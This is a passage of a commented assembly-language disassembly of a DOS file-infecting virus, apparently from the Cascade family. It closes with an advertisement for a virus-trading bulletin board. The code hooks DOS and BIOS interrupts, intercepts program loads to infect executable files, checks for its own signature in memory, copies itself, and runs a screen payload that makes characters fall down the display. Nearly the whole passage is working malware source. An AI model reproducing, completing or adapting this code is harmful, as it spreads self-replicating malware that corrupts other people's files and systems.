  692.     SUB    DI,OFFSET BP0630-V_SIGN    ; Address from jump to old Int 20H
  693.     CALL    BP0530            ; Test virus signature in memory
  694.     JZ    BP0520            ; Branch if found
  695.     MOV    DI,AX            ; Retrieve offset
  696.     SUB    DI,OFFSET BP0620-V_SIGN    ; Address from new Int 27H routine
  697.     CALL    BP0530            ; Test virus signature in memory
  698. BP0520:    RET
  699.  
  700.     ; Test virus signature in memory
  701.  
  702. BP0530:    XOR    DX,DX            ; Clear register
  703.     CMP    WORD PTR [DI],4756H    ; Look for virus signature
  704.     JNE    BP0540            ; Branch if not present
  705.     CMP    BYTE PTR [DI+2],31H    ; Look for rest of signature
  706.     JE    BP0550            ; Branch if there
  707. BP0540:    INC    DX            ; Set no virus marker
  708. BP0550:    SUB    DI,OFFSET V_SIGN    ; Subtract offset of signature
  709.     OR    DX,DX            ; Test no virus marker
  710.     RET
  711.  
  712.     ; Create far jump
  713.  
  714. BP0560:    MOV    AL,0EAH            ; Far jump
  715.     STOSB                ; Store jump instruction
  716.     MOV    AX,CX            ; \ Address routine
  717.     ADD    AX,SI            ; /
  718.     STOSW                ; Store offset
  719.     MOV    AX,CS            ; Get segment
  720.     STOSW                ; Store segment
  721. BP0570:    RET
  722.  
  723.     ; Install interrupts
  724.  
  725. BP0580:    OR    DX,DX
  726.     JZ    BP0570            ; Dont install if yes
  727.     PUSH    DS
  728.     PUSH    ES
  729.     MOV    ES,SEGREG[SI]        ; Get segment register
  730.     MOV    DI,00ECH        ; Address far jump table
  731.     CLD
  732.     MOV    CX,OFFSET BP0880    ; Int 1CH routine
  733.     CALL    BP0560            ; Create Int 1CH far jump
  734.     MOV    CX,OFFSET BP0620    ; Int 20H routine
  735.     CALL    BP0560            ; Create Int 20H far jump
  736.     MOV    CX,OFFSET BP0700    ; Int 21H routine
  737.     CALL    BP0560            ; Create Int 21H far jump
  738.     MOV    CX,OFFSET BP0770    ; Int 27H routine
  739.     CALL    BP0560            ; Create Int 27H far jump
  740.     XOR    AX,AX            ; \ Address zero
  741.     MOV    DS,AX            ; /
  742.     ASSUME    DS:BOOT
  743.     CLI
  744.     MOV    AX,00ECH        ; Address Int 1CH far jump
  745.     XCHG    AX,BW0070        ; Install as Int 1CH offset
  746.     MOV    CS:I1C_OF[SI],AX    ; Save old Int 1CH offset
  747.     MOV    AX,ES            ; Get this segment
  748.     XCHG    AX,BW0072        ; Install as Int 1CH segment
  749.     MOV    CS:I1C_SG[SI],AX    ; Save old Int 1CH segment
  750.     MOV    AX,00F1H        ; Address Int 20H far jump
  751.     XCHG    AX,BW0080        ; Install as Int 20H offset
  752.     MOV    CS:I20_OF[SI],AX    ; Save old Int 20H offset
  753.     MOV    AX,ES            ; Get this segment
  754.     XCHG    AX,BW0082        ; Install as Int 20H segment
  755.     MOV    CS:I20_SG[SI],AX    ; Save old Int 20H segment
  756.     MOV    AX,00F6H        ; Address Int 21H far jump
  757.     XCHG    AX,BW0084        ; Install as Int 21H offset
  758.     MOV    CS:I21_OF[SI],AX    ; Save old Int 21H offset
  759.     MOV    AX,ES            ; Get this segment
  760.     XCHG    AX,BW0086        ; Install as Int 21H segment
  761.     MOV    CS:I21_SG[SI],AX    ; Save old Int 21H segment
  762.     MOV    AX,00FBH        ; Address Int 27H far jump
  763.     XCHG    AX,BW009C        ; Install as Int 27H offset
  764.     MOV    CS:I27_OF[SI],AX    ; Save old Int 27H offset
  765.     MOV    AX,ES            ; Get this segment
  766.     XCHG    AX,BW009E        ; Install as Int 27H segment
  767.     MOV    CS:I27_SG[SI],AX    ; Save old Int 27H segment
  768.     POP    ES
  769.     POP    DS
  770.     STI
  771.     RET
  772.  
  773.     ; Reset interrupts
  774.  
  775.     ASSUME    DS:CODE
  776. BP0590:    PUSH    ES
  777.     MOV    ES,SEGREG[SI]        ; Get segment register
  778.     MOV    DI,00F1H        ; Address far jump table (2nd entry)
  779.     CLD
  780.     MOV    CX,OFFSET BP0630    ; Jump to old Int 20H
  781.     CALL    BP0560            ; Create Int 20H far jump
  782.     MOV    CX,OFFSET BP0720    ; Alternate Int 21H routine
  783.     CALL    BP0560            ; Create Int 21H far jump
  784.     MOV    CX,OFFSET BP0780    ; Jump to old Int 27H
  785.     CALL    BP0560            ; Create Int 27H far jump
  786.     POP    ES
  787.     RET
  788.  
  789.     ; Set Int 24H vector
  790.  
  791. BP0600:    PUSH    ES
  792.     XOR    AX,AX            ; \ Address zero
  793.     MOV    ES,AX            ; /
  794.     ASSUME    ES:BOOT
  795.     MOV    AX,OFFSET BP0790    ; \ Interrupt 24H routine
  796.     ADD    AX,SI            ; /
  797.     XCHG    AX,BW0090        ; Install as Int 24H offset
  798.     MOV    I24_OF[SI],AX        ; Save old Int 24H offset
  799.     MOV    AX,CS            ; Get this segment
  800.     XCHG    AX,BW0092        ; Install as Int 24H segment
  801.     MOV    I24_SG[SI],AX        ; Save old Int 24H segment
  802.     POP    ES
  803.     MOV    CRTERR[SI],0        ; Clear critical error flag
  804.     RET
  805.  
  806.     ; Restore Int 24H vector
  807.  
  808.     ASSUME    DS:NOTHING
  809. BP0610:    PUSH    ES
  810.     XOR    AX,AX            ; \ Address zero
  811.     MOV    ES,AX            ; /
  812.     MOV    AX,I24_OF[SI]        ; Get old Int 24H offset
  813.     MOV    BW0090,AX        ; Restore Int 24H offset
  814.     MOV    AX,I24_SG[SI]        ; Get old Int 24H segment
  815.     MOV    BW0092,AX        ; Restore Int 24H segment
  816.     POP    ES
  817.     ASSUME    ES:NOTHING
  818.     RET
  819.  
  820.     ; Interrupt 20H routine
  821.  
  822. BP0620:    JMP    BP0680
  823.  
  824.     ; Interrupt 20H - jump to original routine
  825.  
  826. BP0630:    DB    0EAH            ; Far jump to Int 20H
  827. I20_OF    DW    0136CH            ; Original Int 20H offset
  828. I20_SG    DW    00291H            ; Original Int 20H segment
  829.  
  830.     ; Get relocation constant in SI
  831.  
  832. BP0640:    POP    BX            ; Get return address
  833.     PUSH    DS
  834.     PUSH    AX
  835.     PUSH    DS
  836.     PUSH    CS            ; \ Set DS to CS
  837.     POP    DS            ; /
  838.     ASSUME    DS:CODE
  839.     CALL    BP0650            ; \ Get current address
  840. BP0650:    POP    SI            ; /
  841.     SUB    SI,OFFSET BP0650    ; Subtract displacement from it
  842.     JMP    BX            ; Branch to return address
  843.  
  844.     ; Free or allocate memory functions
  845.  
  846. BP0660:    CALL    BP0640            ; Get relocation constant in SI
  847.     PUSH    CX
  848.     MOV    AX,[SI+7]        ; Get host segment
  849.     MOV    CX,ES            ; Get relevant segment
  850.     CMP    AX,CX            ; Are they the same?
  851.     POP    CX
  852.     POP    DS
  853.     POP    AX
  854.     JNE    BP0670            ; Branch if different
  855.     PUSH    CS            ; \ Set ES to CS
  856.     POP    ES            ; /
  857.     CMP    AH,49H            ; Free memory?
  858.     JE    BP0670            ; Branch if yes
  859.     ADD    BX,01D0H        ; Add length of installed segment
  860. BP0670:    POP    DS
  861.     JMP    BP0710            ; Pass on to old Int 21H
  862.  
  863.     ; Program termination (Int 20H, or functions 0 or 4CH)
  864.  
  865. BP0680:    XOR    DX,DX            ; Nothing to keep
  866. BP0690:    CALL    BP0640            ; Get relocation constant in SI
  867.     PUSH    ES
  868.     PUSH    DX
  869.     CLI
  870.     CALL    BP0590            ; Reset interrupts
  871.     STI
  872.     POP    AX
  873.     MOV    DX,01D0H        ; Length of installed segment
  874.     ADD    DX,AX            ; Add length for host
  875.     ADD    DX,10H            ; Add PSP length (?)
  876.     POP    ES
  877.     POP    DS
  878.     POP    AX
  879.     POP    DS
  880.     MOV    AH,31H            ; Keep process function
  881.     JMP    SHORT BP0710        ; Pass on to old Int 21H
  882.  
  883.     ; Interrupt 21H routine
  884.  
  885. BP0700:    CMP    AH,4CH            ; \ End process function?
  886.     JE    BP0680            ; /
  887.     CMP    AH,31H            ; \ Keep process function?
  888.     JE    BP0690            ; /
  889.     OR    AH,AH            ; \ Terminate program function?
  890.     JZ    BP0680            ; /
  891.     CMP    AH,49H            ; \ Free allocated memory function?
  892.     JE    BP0660            ; /
  893.     CMP    AH,4AH            ; \ Set block function?
  894.     JE    BP0660            ; /
  895.     CMP    AH,4BH            ; \ Load function?
  896.     JE    BP0730            ; /
  897. BP0710:    DB    0EAH            ; Far jump to Int 21H
  898. I21_OF    DW    0138DH            ; Original Int 21H offset
  899. I21_SG    DW    00291H            ; Original Int 21H segment
  900.  
  901.     ; Alternate Interrupt 21H - only intercept load
  902.  
  903. BP0720:    CMP    AH,4BH            ; Load function?
  904.     JNE    BP0710            ; Branch if not
  905. BP0730:    PUSH    CX
  906.     PUSH    DX
  907.     PUSH    ES
  908.     PUSH    BX
  909.     PUSH    SI
  910.     PUSH    DI
  911.     PUSH    BP
  912.     CALL    BP0640            ; Get relocation constant in SI
  913.     CALL    BP0600            ; Set Int 24H vector
  914. BP0740:    STI
  915.     TEST    BYTE PTR SWTCHB+100H,2    ; Test switch two
  916.     JNZ    BP0740            ; Branch if on
  917.     CLI
  918.     TEST    BYTE PTR SWTCHB+100H,2    ; Test switch two
  919.     JNZ    BP0740            ; Branch if on
  920.     OR    BYTE PTR SWTCHB+100H,2    ; Set on switch two
  921.     POP    DS
  922.     ASSUME    DS:NOTHING
  923.     MOV    BX,DX            ; Pathname pointer
  924.     MOV    PTHDSK[SI],0FFH        ; Set drive to none
  925.     CMP    BYTE PTR [BX+01],':'    ; Does pathname include drive?
  926.     JNE    BP0750            ; Branch if not
  927.     MOV    AL,[BX]            ; Get drive letter
  928.     OR    AL,20H            ; Convert to lowercase
  929.     SUB    AL,'a'            ; Convert to number
  930.     MOV    PTHDSK[SI],AL        ; Store drive
  931. BP0750:    PUSH    SI
  932.     PUSH    DI
  933.     PUSH    ES
  934.     CLD
  935.     MOV    SI,DX            ; Pathname pointer
  936.     PUSH    CS            ; \ Set ES to CS
  937.     POP    ES            ; /
  938.     MOV    DI,OFFSET DB0884+100H    ; Pathname
  939. BP0760:    LODSB                ; Get a character
  940.     STOSB                ; Store a character
  941.     OR    AL,AL            ; Was that the last?
  942.     JNZ    BP0760            ; Branch if not
  943.     POP    ES
  944.     POP    DI
  945.     POP    SI
  946.     CALL    BP0380            ; Process file
  947.     CALL    BP0610            ; Restore Int 24H vector
  948.     AND    BYTE PTR CS:SWTCHB+100H,0FDH ; Set off switch two
  949.     POP    AX
  950.     POP    DS
  951.     POP    BP
  952.     POP    DI
  953.     POP    SI
  954.     POP    BX
  955.     POP    ES
  956.     POP    DX
  957.     POP    CX
  958.     JMP    BP0710            ; Pass on to old Int 21H
  959.  
  960.     ; Interrupt 27H routine
  961.  
  962. BP0770:    ADD    DX,0FH            ; Round up
  963.     MOV    CL,4            ; Bits to shift
  964.     SHR    DX,CL            ; Convert to paragraphs
  965.     JMP    BP0690            ; Keep process
  966.  
  967.     ; Interrupt 27H - jump to original routine
  968.  
  969. BP0780:    DB    0EAH            ; Far jump to Int 27H
  970. I27_OF    DW    05DFEH            ; Original Int 27H offset
  971. I27_SG    DW    00291H            ; Original Int 27H segment
  972.  
  973.     ; Interrupt 24H routine
  974.  
  975. BP0790:    PUSH    SI
  976.     CALL    BP0800            ; \ Get current location
  977. BP0800:    POP    SI            ; /
  978.     SUB    SI,OFFSET BP0800    ; Subtract offset
  979.     OR    CRTERR[SI],1        ; Set critical error flag
  980.     POP    SI
  981.     XOR    AL,AL            ; No action
  982.     IRET
  983.  
  984. DB086E    DB    1            ; Past second line indicator
  985.     DB    0
  986. DB0870    DB    0            ; Characters going down switch
  987.     DB    0
  988. SWTCHB    DB    82H            ; Switch byte
  989.             ; 01 - switch one - alternate timer tick
  990.             ; 02 - switch two - processing file
  991.             ; 04 - switch three - infection count target reached
  992.             ; 08 - switch four - count two started
  993.             ; 10 - switch five - don't go to start of line
  994.             ; 20 - switch six - count two started and finished (?)
  995.             ; 40 - switch seven - count two finished
  996.             ; 80 - switch eight - video display permitted
  997. I09_OF    DW    0            ; Old Int 9 offset
  998. I09_SG    DW    0            ; Old Int 9 segment
  999. DSPCNT    DW    0FFDCH            ; Display count
  1000. I09BSY    DB    0            ; Int 9 busy switch
  1001. KEYTOK    DB    0            ; Keyboard token
  1002. KEYNUM    DB    0            ; Key number
  1003. VIDADR    DW    0B800H            ; Video RAM segment
  1004. RSTCNT    DW    0            ; Restore count
  1005. FLENLO    DW    39H            ; File length, low word
  1006. FLENHI    DW    0            ; File length, high word
  1007. DB0884    DB    'C:\3066\HELLO.COM', 0    ; Pathname
  1008.     DB    'EXE', 0, 'E', 90H DUP (0)
  1009.  
  1010. BP0820:    PUSH    CX
  1011.     PUSH    DS
  1012.     PUSH    ES
  1013.     PUSH    SI
  1014.     PUSH    DI
  1015.     PUSH    CS            ; \ Set ES to CS
  1016.     POP    ES            ; /
  1017.     CLD
  1018.     TEST    AL,20H            ; Test switch six
  1019.     JZ    BP0850            ; Branch if off
  1020.     TEST    AL,2            ; Test switch two
  1021.     JNZ    BP0860            ; Branch if on
  1022.     XOR    AX,AX            ; \ Address zero
  1023.     MOV    DS,AX            ; /
  1024.     ASSUME    DS:BOOT
  1025.     MOV    AL,BB0449        ; Get current VDU mode
  1026.     MOV    CX,0B800H        ; VDU RAM address
  1027.     CMP    AL,7            ; Mode 7?
  1028.     JNE    BP0830            ; Branch if not
  1029.     MOV    CX,0B000H        ; External mono VDU RAM
  1030.     JMP    SHORT BP0840
  1031.  
  1032. BP0830:    CMP    AL,2            ; Mode 2?
  1033.     JE    BP0840            ; Branch if yes
  1034.     CMP    AL,3            ; Mode 3?
  1035.     JNE    BP0860            ; Branch if not
  1036. BP0840:    MOV    VIDADR+100H,CX        ; Save video RAM segment
  1037.     OR    SWTCHB+100H,2        ; Set on switch two
  1038.     MOV    RSTCNT+100H,0        ; Set restore count to zero
  1039.     MOV    DS,CX            ; Address video RAM
  1040.     MOV    CX,80*25        ; Length to copy
  1041.     XOR    SI,SI            ; From zero
  1042.     MOV    DI,OFFSET SIGNAT+100H    ; To end of virus
  1043.     REPZ    MOVSW            ; Copy video
  1044.     XOR    AX,AX            ; \ Address zero
  1045.     MOV    DS,AX            ; /
  1046.     MOV    AX,OFFSET BP1010+100H    ; Interrupt 9 routine
  1047.     XCHG    AX,BW0024        ; Install as Int 9 offset
  1048.     MOV    I09_OF+100H,AX        ; Save old Int 9 offset
  1049.     MOV    AX,CS            ; Get current segment
  1050.     XCHG    AX,BW0026        ; Install as Int 9 segment
  1051.     MOV    I09_SG+100H,AX        ; Save old Int 9 segment
  1052. BP0850:    MOV    CX,0050H        ; Length of one line
  1053.     MOV    AX,80*24*2        ; Last line address
  1054.     MOV    DI,OFFSET DW0005+100H    ; Address line store
  1055.     REPZ    STOSW            ; Store line numbers
  1056.     AND    SWTCHB+100H,7        ; Set off switches above three
  1057. BP0860:    POP    DI
  1058.     POP    SI
  1059.     POP    ES
  1060.     POP    DS
  1061.     POP    CX
  1062.     JMP    BP0990            ; Pass on to original Int 1CH
  1063.  
  1064. BP0870:    JMP    BP0820
  1065.  
  1066.     ; Interrupt 1CH routine
  1067.  
  1068. BP0880:    PUSH    AX
  1069.     MOV    I09BSY+100H,0        ; Clear Int 9 busy switch
  1070.     MOV    AL,SWTCHB+100H        ; Get switches
  1071.     TEST    AL,60H            ; Test switches six and seven
  1072.     JNZ    BP0870            ; Branch if either is on
  1073.     TEST    AL,80H            ; Test switch eight
  1074.     JZ    BP0910            ; Branch if off
  1075.     CMP    RSTCNT+100H,0        ; Is restore count off?
  1076.     JE    BP0890            ; Branch if yes
  1077.     INC    RSTCNT+100H        ; Increment restore count
  1078.     CMP    RSTCNT+100H,0444H    ; Have we reached target (1 minute)?
  1079.     JL    BP0890            ; Branch if not
  1080.     CALL    BP1030            ; Video display routine
  1081.     JMP    BP0990            ; Pass on to original Int 1CH
  1082.  
  1083. BP0890:    TEST    AL,18H            ; Test switches four and five
  1084.     JZ    BP0900            ; Branch if both off
  1085.     DEC    DSPCNT+100H        ; Decrement display count
  1086.     JNZ    BP0900            ; Branch if not finished
  1087.     AND    SWTCHB+100H,0E7H    ; Set off switch three
  1088.     OR    SWTCHB+100H,40H        ; Set on switch seven
  1089.     TEST    AL,8            ; Test switch four
  1090.     JZ    BP0900            ; Branch if off
  1091.     OR    SWTCHB+100H,20H        ; Set on switch six
  1092. BP0900:    JMP    BP0990            ; Pass on to original Int 1CH
  1093.  
  1094. BP0910:    XOR    SWTCHB+100H,1        ; Toggle switch one
  1095.     TEST    AL,1            ; Test previous state
  1096.     JZ    BP0900            ; Branch if off
  1097.     PUSH    BX
  1098.     PUSH    SI
  1099.     PUSH    DS
  1100.     MOV    DS,VIDADR+100H        ; Get video RAM segment
  1101.     XOR    SI,SI            ; Start of line
  1102.     MOV    DB086E+100H,0        ; Set past second line off
  1103. BP0920:    MOV    BX,DW0005[SI+100H]    ; Get current line number
  1104.     OR    BX,BX            ; First line?
  1105.     JZ    BP0930            ; Branch if yes
  1106.     CMP    BYTE PTR [BX+SI],' '    ; Is character a blank?
  1107.     JNE    BP0930            ; Branch if not
  1108.     CMP    BYTE PTR [BX+SI+0FF60H],' ' ; Is char on line above a space?
  1109.     JE    BP0930            ; Branch if yes
  1110.     MOV    AX,0720H        ; White on black space
  1111.     XCHG    AX,[BX+SI+0FF60H]    ; Swap with line above
  1112.     MOV    [BX+SI],AX        ; Store new character this line
  1113.     ADD    BX,80*2            ; Next line
  1114. BP0930:    CMP    BX,80*25*2        ; Past last line?
  1115.     JE    BP0940            ; Branch if yes
  1116.     CMP    BYTE PTR [BX+SI],' '    ; Is character a blank
  1117.     JNE    BP0940            ; Branch if not
  1118.     JNE    BP0970            ; ?
  1119. BP0940:    MOV    BX,80*24*2        ; Address last line
  1120. BP0950:    CMP    BYTE PTR [BX+SI],' '    ; Is character a blank?
  1121.     JNE    BP0960            ; Branch if not
  1122.     CMP    BYTE PTR [BX+SI+0FF60H],' ' ; Is char on line above a space?
  1123.     JNE    BP0970            ; Branch if not
  1124. BP0960:    SUB    BX,80*2            ; Previous line
  1125.     OR    BX,BX            ; First line?
  1126.     JNZ    BP0950            ; Branch if not
  1127. BP0970:    MOV    DW0005[SI+100H],BX    ; Save current line number
  1128.     OR    WORD PTR DB086E+100H,BX    ; Set past second line indicator
  1129.     ADD    SI,2            ; Next character position
  1130.     CMP    SI,80*2            ; End of line?
  1131.     JNE    BP0920            ; Branch if not
  1132.     CMP    DB086E+100H,0        ; Past second line?
  1133.     JNE    BP0980            ; Branch if yes
  1134.     OR    SWTCHB+100H,80H        ; Set on switch eight
  1135.     MOV    RSTCNT+100H,1        ; Start restore count
  1136. BP0980:    POP    DS
  1137.     POP    SI
  1138.     POP    BX
  1139. BP0990:    POP    AX
  1140.     DB    0EAH            ; Far jump to Int 1CH
  1141. I1C_OF    DW    0FF53H            ; Original Int 1CH offset
  1142. I1C_SG    DW    0F000H            ; Original Int 1CH segment
  1143.  
  1144.     ; Signal end of interrupt
  1145.  
  1146. BP1000:    MOV    AL,20H            ; \ End of interrupt
  1147.     OUT    20H,AL            ; /
  1148.     POP    AX
  1149.     IRET
  1150.  
  1151.     ; Interrupt 9 routine
  1152.  
  1153. BP1010:    PUSH    AX
  1154.     IN    AL,60H            ; Get keyboard token
  1155.     MOV    KEYTOK+100H,AL        ; Save keyboard token
  1156.     IN    AL,61H            ; Get port B
  1157.     MOV    AH,AL            ; Save port B
  1158.     OR    AL,80H            ; \ Acknowledge keyboard
  1159.     OUT    61H,AL            ; /
  1160.     MOV    AL,AH            ; \ Restore Port B
  1161.     OUT    61H,AL            ; /
  1162.     CMP    I09BSY+100H,0        ; Test Int 9 busy switch
  1163.     MOV    I09BSY+100H,1        ; Set Int 9 busy switch on
  1164.     JNE    BP1000            ; Branch if on already
  1165.     MOV    AL,KEYTOK+100H        ; Get keyboard token
  1166.     CMP    AL,0F0H            ; \ ? discard this character
  1167.     JE    BP1000            ; /
  1168.     AND    AL,7FH            ; Set off top bit
  1169.     CMP    AL,KEYNUM+100H        ; Same as last character?
  1170.     MOV    KEYNUM+100H,AL        ; Save key number
  1171.     JE    BP1000            ; Branch if same as last
  1172.     CMP    RSTCNT+100H,0        ; Is restore count off?
  1173.     JE    BP1020            ; Branch if yes
  1174.     MOV    RSTCNT+100H,1        ; Restart restore count
  1175. BP1020:    CALL    BP1030            ; Video display routine
  1176.     JMP    BP1000            ; End of interrupt
  1177.  
  1178.     ; Video display routine
  1179.  
  1180. BP1030:    MOV    DSPCNT+100H,0028H    ; Set up short display count (2+ secs)
  1181.     TEST    SWTCHB+100H,80H        ; Test switch eight
  1182.     JZ    BP1000            ; Branch if off
  1183.     MOV    DB0870+100H,1        ; Set character going down
  1184.     PUSH    BX
  1185.     PUSH    SI
  1186.     PUSH    DS
  1187.     MOV    DS,VIDADR+100H        ; Get video RAM segment
  1188.     TEST    SWTCHB+100H,10H        ; Test switch five
  1189.     JNZ    BP1070            ; Branch if on
  1190.     OR    SWTCHB+100H,10H        ; Set on switch five
  1191.     XOR    SI,SI            ; Start of line
  1192. BP1040:    MOV    BX,80*24*2        ; Address last line
  1193. BP1050:    CMP    BYTE PTR [BX+SI],' '    ; Is character a blank?
  1194.     JE    BP1060            ; Branch if yes
  1195.     SUB    BX,80*2            ; Previous line
  1196.     JNB    BP1050            ; Branch if not 
  1197.     MOV    BX,80*24*2        ; Address last line
  1198. BP1060:    ADD    BX,80*2            ; Next line
  1199.     MOV    DW0005[SI+100H],BX    ; Save current line number
  1200.     MOV    FLENLO[SI+100H],BX    ; Save last line number
  1201.     INC    SI            ; \ Next character position
  1202.     INC    SI            ; /
  1203.     CMP    SI,80*2            ; End of line?
  1204.     JNE    BP1040            ; Branch if not
  1205. BP1070:    XOR    SI,SI            ; Start of line
  1206. BP1080:    CMP    DW0005[SI+100H],80*25*2    ; End of display area?
  1207.     JE    BP1140            ; Branch if yes
  1208.     MOV    BX,FLENLO[SI+100H]    ; Get last line number
  1209.     MOV    AX,[BX+SI]        ; Get current char and attributes
  1210.     CMP    AX,CS:SIGNAT[BX+SI+100H] ; Is it the same as the stored copy?
  1211.     JNE    BP1100            ; Branch if not
  1212.     PUSH    BX
  1213. BP1090:    OR    BX,BX            ; First line?
  1214.     JZ    BP1120            ; Restore video if yes
  1215.     SUB    BX,80*2            ; Previous line
  1216.     CMP    AX,CS:SIGNAT[BX+SI+100H] ; Is this line same as current?
  1217.     JNE    BP1090            ; Branch if not
  1218.     CMP    AX,[BX+SI]        ; Is this line the same
  1219.     JE    BP1090            ; Branch if yes
  1220.     POP    BX
  1221. BP1100:    OR    BX,BX            ; First line?
  1222.     JNZ    BP1110            ; Character up one line if not
  1223.     MOV    WORD PTR [SI],0720H    ; White on black space
  1224.     JMP    SHORT BP1130
  1225.  
  1226.     ; Move character up one line
  1227.  
  1228. BP1110:    MOV    AX,[BX+SI]        ; Get current char and attributes
  1229.     MOV    [BX+SI+0FF60H],AX    ; Move to previous line
  1230.     MOV    WORD PTR [BX+SI],0720H    ; White on black space
  1231.     SUB    FLENLO[SI+100H],80*2    ; Move last line number up one
  1232.     MOV    DB0870+100H,0        ; Set characters going up
  1233.     JMP    SHORT BP1140
  1234.  
  1235.     ; Restore video
  1236.  
  1237. BP1120:    POP    BX
  1238. BP1130:    MOV    BX,DW0005[SI+100H]    ; Get current line number
  1239.     ADD    BX,80*2            ; Next line
  1240.     MOV    DW0005[SI+100H],BX    ; Save new current line number
  1241.     MOV    FLENLO[SI+100H],BX    ; Save last line number
  1242. BP1140:    INC    SI            ; \ Next character position
  1243.     INC    SI            ; /
  1244.     CMP    SI,80*2            ; End of line?
  1245.     JNE    BP1080            ; Branch if not
  1246.     CMP    DB0870+100H,0        ; Are characters going down
  1247.     JE    BP1150            ; Branch if not
  1248.     PUSH    ES
  1249.     PUSH    DI
  1250.     PUSH    CX
  1251.     PUSH    DS            ; \ Set ES to DS
  1252.     POP    ES            ; /
  1253.     PUSH    CS            ; \ Set DS to CS
  1254.     POP    DS            ; /
  1255.     MOV    SI,OFFSET SIGNAT+100H    ; From end of virus
  1256.     XOR    DI,DI            ; To zero
  1257.     MOV    CX,80*25        ; Length to copy
  1258.     REPZ    MOVSW            ; Restore video
  1259.     MOV    DSPCNT+100H,0FFDCH    ; Restart display count (60 mins)
  1260.     AND    SWTCHB+100H,4        ; Set off all switches but three
  1261.     OR    SWTCHB+100H,88H        ; Set on switches four and eight
  1262.     MOV    RSTCNT+100H,0        ; Set restore count off
  1263.     XOR    AX,AX            ; \ Address zero
  1264.     MOV    DS,AX            ; /
  1265.     ASSUME    DS:BOOT
  1266.     MOV    AX,I09_OF+100H        ; Get old Int 9 offset
  1267.     MOV    BW0024,AX        ; Re-install Int 9 offset
  1268.     MOV    AX,I09_SG+100H        ; Get old Int 9 segment
  1269.     MOV    BW0026,AX        ; Re-install Int 9 segment
  1270.     POP    CX
  1271.     POP    DI
  1272.     POP    ES
  1273. BP1150:    POP    DS
  1274.     POP    SI
  1275.     POP    BX
  1276.     RET
  1277.  
  1278.     ; Copy virus and transfer control
  1279.  
  1280. BP1160:    CLD
  1281.     POP    AX            ; Recover return address
  1282.     SUB    AX,SI            ; Subtract source offset
  1283.     ADD    AX,DI            ; Add target offset
  1284.     PUSH    ES            ; Push new segment
  1285.     PUSH    AX            ; Push new return address
  1286.     REPZ    MOVSB            ; Copy virus
  1287.     RETF                ; Return to copy
  1288.  
  1289.     DB    090H
  1290. SIGNAT    DW    0E850H
  1291.     DB    0E2H, 003H, 08BH
  1292.  
  1293. ENDADR    EQU    $
  1294.  
  1295. CODE    ENDS
  1296.  
  1297.     END
  1298. 
  1299. ; ─────────────────────────────────────────────────────────────────────────
  1300. ; ────────────────────> and Remember Don't Forget to Call <────────────────
  1301. ; ────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────
  1302. ; ─────────────────────────────────────────────────────────────────────────
  1303.  
  1304.